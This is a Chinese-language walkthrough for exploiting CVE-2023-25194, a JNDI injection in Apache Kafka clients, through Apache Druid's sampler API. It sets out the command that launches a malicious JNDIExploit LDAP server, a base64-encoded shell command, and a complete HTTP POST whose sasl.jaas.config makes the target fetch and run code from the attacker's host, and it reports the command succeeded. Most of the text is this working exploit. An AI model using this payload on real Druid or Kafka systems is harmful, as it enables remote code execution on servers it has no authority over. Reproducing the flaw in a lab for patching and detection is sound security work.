Apache Kafka 客户端 JNDI 注入 RCE （CVE-2023-25194）

pache Kafka是一个开源分布式消息队列，Kafka clients是相对应的Java客户端。

在版本3.3.2及以前，Apache Kafka clients中存在一处JNDI注入漏洞。如果攻击者在连接的时候可以控制属性sasl.jaas.config的值为com.sun.security.auth.module.JndiLoginModule，则可以发起JNDI连接，进而导致JNDI注入漏洞，执行任意命令。

Apache Druid 的主页：

 

首先，使用 JNDIExploit 启动一个恶意的JNDI 服务器：

java -jar .\JNDIExploit-1.1-SNAPSHOT.jar -i 192.168.92.135 -u

要执行的命令id > /tmp/success   base64编码后为aWQgPiAvdG1wL3N1Y2Nlc3M=

 构造payload：ldap://192.168.126.130:1389/Basic/Command/Base64/aWQgPiAvdG1wL3N1Y2Nlc3M=

 发包：

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 192.168.92.130:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1792

{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"127.0.0.1:6666",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.92.135:1389/Basic/Command/Base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
            },
            "topic":"test",
            "useEarliestOffset":true,
            "inputFormat":{
                "type":"regex",
                "pattern":"([\\s\\S]*)",
                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{

            },
            "granularitySpec":{
                "rollup":false
            }
        },
        "tuningConfig":{
            "type":"kafka"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}

已成功执行：id > /tmp/success